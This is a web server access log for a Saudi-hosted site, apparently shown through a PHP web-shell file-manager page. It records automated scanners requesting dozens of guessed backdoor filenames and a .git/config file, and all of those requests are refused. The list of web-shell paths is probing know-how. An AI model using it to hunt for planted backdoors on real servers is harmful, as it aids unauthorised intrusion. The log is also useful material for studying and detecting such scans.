HEX
Server: Apache
System: Linux p3plzcpnl507418.prod.phx3.secureserver.net 4.18.0-553.141.2.lve.el8.x86_64 #1 SMP Wed Jul 8 16:10:02 UTC 2026 x86_64
User: retoti4c1e1s (10075650)
PHP: 8.2.31
Disabled: NONE
$ pwd: /home/retoti4c1e1s/access-logs/
Upload Files
File: /home/retoti4c1e1s/access-logs/izz.world.saudistandard.com-ssl_log
20.100.187.246 - - [03/Aug/2026:05:27:50 -0700] "GET /1.php HTTP/2.0" 403 10845 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 10 **0/10748**
20.100.187.246 - - [03/Aug/2026:05:27:51 -0700] "GET /new.php HTTP/2.0" 403 10847 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 5 **0/5356**
20.100.187.246 - - [03/Aug/2026:05:27:51 -0700] "GET /num.php HTTP/2.0" 403 10847 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 6 **0/6294**
20.100.187.246 - - [03/Aug/2026:05:27:51 -0700] "GET /wp-includes/fonts/ HTTP/2.0" 403 10858 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 14 **0/14319**
20.100.187.246 - - [03/Aug/2026:05:27:52 -0700] "GET /admin.php HTTP/2.0" 403 10849 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 14 **0/14843**
20.100.187.246 - - [03/Aug/2026:05:27:52 -0700] "GET /13.php HTTP/2.0" 403 10846 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20 **0/20212**
20.100.187.246 - - [03/Aug/2026:05:27:52 -0700] "GET /222.php HTTP/2.0" 403 10847 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 11 **0/11308**
20.100.187.246 - - [03/Aug/2026:05:27:52 -0700] "GET /aa.php HTTP/2.0" 403 10846 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 6 **0/6631**
20.100.187.246 - - [03/Aug/2026:05:27:53 -0700] "GET /abcd.php HTTP/2.0" 403 10848 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 15 **0/15171**
20.100.187.246 - - [03/Aug/2026:05:27:53 -0700] "GET /about.php HTTP/2.0" 403 10849 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 185 **0/185896**
20.100.187.246 - - [03/Aug/2026:05:27:53 -0700] "GET /admin.php HTTP/2.0" 403 10849 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 7 **0/7276**
20.100.187.246 - - [03/Aug/2026:05:27:53 -0700] "GET /adminfuns.php/.well-known/acme-challenge/file.php HTTP/2.0" 403 10889 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 7 **0/7415**
20.100.187.246 - - [03/Aug/2026:05:27:54 -0700] "GET /ae.php HTTP/2.0" 403 10846 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 5 **0/5417**
20.100.187.246 - - [03/Aug/2026:05:27:54 -0700] "GET /akcc.php HTTP/2.0" 403 10848 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 14 **0/14359**
20.100.187.246 - - [03/Aug/2026:05:27:54 -0700] "GET /bak.php HTTP/2.0" 403 10847 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 11 **0/11014**
20.100.187.246 - - [03/Aug/2026:05:27:53 -0700] "GET /adminfuns.php HTTP/2.0" 403 10853 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 1085 **1/1085141**
20.100.187.246 - - [03/Aug/2026:05:27:54 -0700] "GET /cc.php HTTP/2.0" 403 10846 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 7 **0/7642**
20.100.187.246 - - [03/Aug/2026:05:27:55 -0700] "GET /file5.php HTTP/2.0" 403 10849 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 8 **0/8183**
20.100.187.246 - - [03/Aug/2026:05:27:55 -0700] "GET /chosen.php HTTP/2.0" 403 10850 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 9 **0/9529**
20.100.187.246 - - [03/Aug/2026:05:27:55 -0700] "GET /classwithtostring.php HTTP/2.0" 403 10861 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 5 **0/5870**
20.100.187.246 - - [03/Aug/2026:05:27:55 -0700] "GET /wp-signup.php HTTP/2.0" 403 10853 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 6 **0/6710**
20.100.187.246 - - [03/Aug/2026:05:27:55 -0700] "GET /doc.php HTTP/2.0" 403 10847 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 5 **0/5742**
20.100.187.246 - - [03/Aug/2026:05:27:55 -0700] "GET /edit.php HTTP/2.0" 403 10848 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 5 **0/5982**
20.100.187.246 - - [03/Aug/2026:05:27:56 -0700] "GET /worksec.php HTTP/2.0" 403 10851 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 5 **0/5703**
20.100.187.246 - - [03/Aug/2026:05:27:56 -0700] "GET /ultra.php HTTP/2.0" 403 10849 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 6 **0/6811**
20.100.187.246 - - [03/Aug/2026:05:27:56 -0700] "GET /file.php HTTP/2.0" 403 10848 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 12 **0/12551**
20.100.187.246 - - [03/Aug/2026:05:27:56 -0700] "GET /files.php HTTP/2.0" 403 10849 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 7 **0/7619**
20.100.187.246 - - [03/Aug/2026:05:27:57 -0700] "GET /gecko.php HTTP/2.0" 403 10849 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 4 **0/4856**
20.100.187.246 - - [03/Aug/2026:05:27:57 -0700] "GET /goods.php HTTP/2.0" 403 10849 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 231 **0/231656**
20.100.187.246 - - [03/Aug/2026:05:27:57 -0700] "GET /man.php HTTP/2.0" 403 10847 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 11 **0/11150**
20.100.187.246 - - [03/Aug/2026:05:27:57 -0700] "GET /wp-settings.php HTTP/2.0" 403 10855 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 5 **0/5096**
20.100.187.246 - - [03/Aug/2026:05:27:57 -0700] "GET /k.php HTTP/2.0" 403 10845 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 5 **0/5360**
20.100.187.246 - - [03/Aug/2026:05:27:58 -0700] "GET /autoload_classmap.php HTTP/2.0" 403 10861 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 6 **0/6610**
20.100.187.246 - - [03/Aug/2026:05:27:58 -0700] "GET /profile.php HTTP/2.0" 403 10851 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 8 **0/8929**
20.100.187.246 - - [03/Aug/2026:05:27:58 -0700] "GET /server.php HTTP/2.0" 403 10850 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 6 **0/6163**
20.100.187.246 - - [03/Aug/2026:05:27:58 -0700] "GET /shell.php HTTP/2.0" 403 10849 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 6 **0/6033**
20.100.187.246 - - [03/Aug/2026:05:27:58 -0700] "GET /t.php HTTP/2.0" 403 10845 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 12 **0/12920**
20.100.187.246 - - [03/Aug/2026:05:27:59 -0700] "GET /hello.php HTTP/2.0" 403 10849 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 7 **0/7015**
20.100.187.246 - - [03/Aug/2026:05:27:59 -0700] "GET /themes.php HTTP/2.0" 403 10850 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 5 **0/5591**
45.148.10.95 - - [03/Aug/2026:05:31:07 -0700] "GET /.git/config HTTP/2.0" 403 10849 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:138.0) Gecko/20100101 Firefox/138.0" 6 **0/6089**
20.203.148.31 - - [03/Aug/2026:06:40:38 -0700] "GET /1.php HTTP/2.0" 403 10844 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 15 **0/15873**
20.203.148.31 - - [03/Aug/2026:06:40:39 -0700] "GET /new.php HTTP/2.0" 403 10846 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 5 **0/5554**
20.203.148.31 - - [03/Aug/2026:06:40:39 -0700] "GET /num.php HTTP/2.0" 403 10846 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 5 **0/5881**
20.203.148.31 - - [03/Aug/2026:06:40:39 -0700] "GET /wp-includes/fonts/ HTTP/2.0" 403 10857 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 5 **0/5923**
20.203.148.31 - - [03/Aug/2026:06:40:40 -0700] "GET /admin.php HTTP/2.0" 403 10848 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 4 **0/4924**
20.203.148.31 - - [03/Aug/2026:06:40:40 -0700] "GET /13.php HTTP/2.0" 403 10845 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 6 **0/6073**
20.203.148.31 - - [03/Aug/2026:06:40:40 -0700] "GET /222.php HTTP/2.0" 403 10846 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 5 **0/5648**
20.203.148.31 - - [03/Aug/2026:06:40:40 -0700] "GET /aa.php HTTP/2.0" 403 10845 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 14 **0/14162**
20.203.148.31 - - [03/Aug/2026:06:40:40 -0700] "GET /abcd.php HTTP/2.0" 403 10847 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 5 **0/5737**
20.203.148.31 - - [03/Aug/2026:06:40:41 -0700] "GET /about.php HTTP/2.0" 403 10848 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 5 **0/5085**
20.203.148.31 - - [03/Aug/2026:06:40:41 -0700] "GET /admin.php HTTP/2.0" 403 10848 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 5 **0/5879**
20.203.148.31 - - [03/Aug/2026:06:40:41 -0700] "GET /adminfuns.php HTTP/2.0" 403 10852 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 4 **0/4983**
20.203.148.31 - - [03/Aug/2026:06:40:41 -0700] "GET /adminfuns.php/.well-known/acme-challenge/file.php HTTP/2.0" 403 10888 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 6 **0/6602**
20.203.148.31 - - [03/Aug/2026:06:40:41 -0700] "GET /ae.php HTTP/2.0" 403 10845 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 5 **0/5238**
20.203.148.31 - - [03/Aug/2026:06:40:42 -0700] "GET /akcc.php HTTP/2.0" 403 10847 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 6 **0/6469**
20.203.148.31 - - [03/Aug/2026:06:40:42 -0700] "GET /bak.php HTTP/2.0" 403 10846 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 5 **0/5356**
20.203.148.31 - - [03/Aug/2026:06:40:42 -0700] "GET /cc.php HTTP/2.0" 403 10845 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 5 **0/5266**
20.203.148.31 - - [03/Aug/2026:06:40:42 -0700] "GET /chosen.php HTTP/2.0" 403 10849 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 5 **0/5124**
20.203.148.31 - - [03/Aug/2026:06:40:42 -0700] "GET /classwithtostring.php HTTP/2.0" 403 10860 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 5 **0/5325**
20.203.148.31 - - [03/Aug/2026:06:40:42 -0700] "GET /wp-signup.php HTTP/2.0" 403 10852 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 5 **0/5334**
20.203.148.31 - - [03/Aug/2026:06:40:43 -0700] "GET /doc.php HTTP/2.0" 403 10846 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 5 **0/5337**
20.203.148.31 - - [03/Aug/2026:06:40:43 -0700] "GET /edit.php HTTP/2.0" 403 10847 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 5 **0/5035**
20.203.148.31 - - [03/Aug/2026:06:40:43 -0700] "GET /worksec.php HTTP/2.0" 403 10850 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 5 **0/5412**
20.203.148.31 - - [03/Aug/2026:06:40:43 -0700] "GET /ultra.php HTTP/2.0" 403 10848 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 4 **0/4451**
20.203.148.31 - - [03/Aug/2026:06:40:43 -0700] "GET /gecko.php HTTP/2.0" 403 10848 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 5 **0/5299**
20.203.148.31 - - [03/Aug/2026:06:40:43 -0700] "GET /goods.php HTTP/2.0" 403 10848 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 5 **0/5195**
20.203.148.31 - - [03/Aug/2026:06:40:44 -0700] "GET /man.php HTTP/2.0" 403 10846 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 5 **0/5103**
20.203.148.31 - - [03/Aug/2026:06:40:44 -0700] "GET /wp-settings.php HTTP/2.0" 403 10854 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 6 **0/6630**
20.203.148.31 - - [03/Aug/2026:06:40:44 -0700] "GET /k.php HTTP/2.0" 403 10844 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 5 **0/5515**
20.203.148.31 - - [03/Aug/2026:06:40:44 -0700] "GET /autoload_classmap.php HTTP/2.0" 403 10860 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 5 **0/5171**
20.203.148.31 - - [03/Aug/2026:06:40:44 -0700] "GET /profile.php HTTP/2.0" 403 10850 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 5 **0/5448**
20.203.148.31 - - [03/Aug/2026:06:40:45 -0700] "GET /server.php HTTP/2.0" 403 10849 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 5 **0/5385**
20.203.148.31 - - [03/Aug/2026:06:40:45 -0700] "GET /shell.php HTTP/2.0" 403 10848 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 5 **0/5942**
20.203.148.31 - - [03/Aug/2026:06:40:45 -0700] "GET /t.php HTTP/2.0" 403 10844 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 14 **0/14838**
20.203.148.31 - - [03/Aug/2026:06:40:45 -0700] "GET /hello.php HTTP/2.0" 403 10848 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 5 **0/5792**
20.104.18.253 - - [03/Aug/2026:07:16:22 -0700] "GET /.dj/index.php HTTP/2.0" 403 10852 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 7 **0/7879**
20.104.18.253 - - [03/Aug/2026:07:16:22 -0700] "GET /.tmb/ HTTP/2.0" 403 10844 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 5 **0/5850**
20.104.18.253 - - [03/Aug/2026:07:16:22 -0700] "GET /.vscode/class-wp-http-client.php HTTP/2.0" 403 10871 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 5 **0/5210**
20.104.18.253 - - [03/Aug/2026:07:16:23 -0700] "GET /.well-known/ HTTP/2.0" 403 10851 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 74 **0/74313**
20.104.18.253 - - [03/Aug/2026:07:16:23 -0700] "GET /.well-known/about.php HTTP/2.0" 403 10860 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 16 **0/16026**
20.104.18.253 - - [03/Aug/2026:07:16:23 -0700] "GET /.well-known/acme-challenge/ HTTP/2.0" 403 10866 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 5 **0/5380**
20.104.18.253 - - [03/Aug/2026:07:16:23 -0700] "GET /.well-known/acme-challenge/block-supports/ HTTP/2.0" 403 10881 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 5 **0/5818**
20.104.18.253 - - [03/Aug/2026:07:16:23 -0700] "GET /.well-known/acme-challenge/muse.php HTTP/2.0" 403 10874 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 6 **0/6135**
20.104.18.253 - - [03/Aug/2026:07:16:23 -0700] "GET /.well-known/bdkr28_61cohkhh.php HTTP/2.0" 403 10870 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 6 **0/6646**
20.104.18.253 - - [03/Aug/2026:07:16:23 -0700] "GET /.well-known/class-wp-http-client.php HTTP/2.0" 403 10875 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 6 **0/6604**
20.104.18.253 - - [03/Aug/2026:07:16:23 -0700] "GET /.well-known/gecko-litespeed.php HTTP/2.0" 403 10870 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 5 **0/5077**
20.104.18.253 - - [03/Aug/2026:07:16:23 -0700] "GET /.well-known/index.php HTTP/2.0" 403 10860 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 7 **0/7460**
20.104.18.253 - - [03/Aug/2026:07:16:23 -0700] "GET /.well-known/ws.php HTTP/2.0" 403 10857 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 14 **0/14150**
20.104.18.253 - - [03/Aug/2026:07:16:23 -0700] "GET /.xa/class-wp-http-client.php HTTP/2.0" 403 10867 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 4 **0/4841**
20.104.18.253 - - [03/Aug/2026:07:16:23 -0700] "GET /0.php HTTP/2.0" 403 10844 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 5 **0/5406**
20.104.18.253 - - [03/Aug/2026:07:16:24 -0700] "GET /000.php HTTP/2.0" 403 10846 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 6 **0/6672**
20.104.18.253 - - [03/Aug/2026:07:16:24 -0700] "GET /002.php HTTP/2.0" 403 10846 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 5 **0/5459**
20.104.18.253 - - [03/Aug/2026:07:16:24 -0700] "GET /0x.php HTTP/2.0" 403 10845 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 15 **0/15170**
20.104.18.253 - - [03/Aug/2026:07:16:24 -0700] "GET /0xd.php HTTP/2.0" 403 10846 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 6 **0/6170**
20.104.18.253 - - [03/Aug/2026:07:16:24 -0700] "GET /1.php HTTP/2.0" 403 10844 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 15 **0/15141**
20.104.18.253 - - [03/Aug/2026:07:16:24 -0700] "GET /100.php HTTP/2.0" 403 10846 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 5 **0/5370**
20.104.18.253 - - [03/Aug/2026:07:16:24 -0700] "GET /12.php HTTP/2.0" 403 10845 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 9 **0/9217**
20.104.18.253 - - [03/Aug/2026:07:16:24 -0700] "GET /123.php HTTP/2.0" 403 10846 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 10 **0/10065**
20.104.18.253 - - [03/Aug/2026:07:16:24 -0700] "GET /13.php HTTP/2.0" 403 10845 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 12 **0/12956**
20.104.18.253 - - [03/Aug/2026:07:16:24 -0700] "GET /133.php HTTP/2.0" 403 10846 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 11 **0/11334**
20.104.18.253 - - [03/Aug/2026:07:16:24 -0700] "GET /155.php HTTP/2.0" 403 10846 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 8 **0/8828**
20.104.18.253 - - [03/Aug/2026:07:16:24 -0700] "GET /166.php HTTP/2.0" 403 10846 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 7 **0/7224**
20.104.18.253 - - [03/Aug/2026:07:16:25 -0700] "GET /2.php HTTP/2.0" 403 10844 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 8 **0/8679**
20.104.18.253 - - [03/Aug/2026:07:16:25 -0700] "GET /2026w.php HTTP/2.0" 403 10848 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 7 **0/7380**
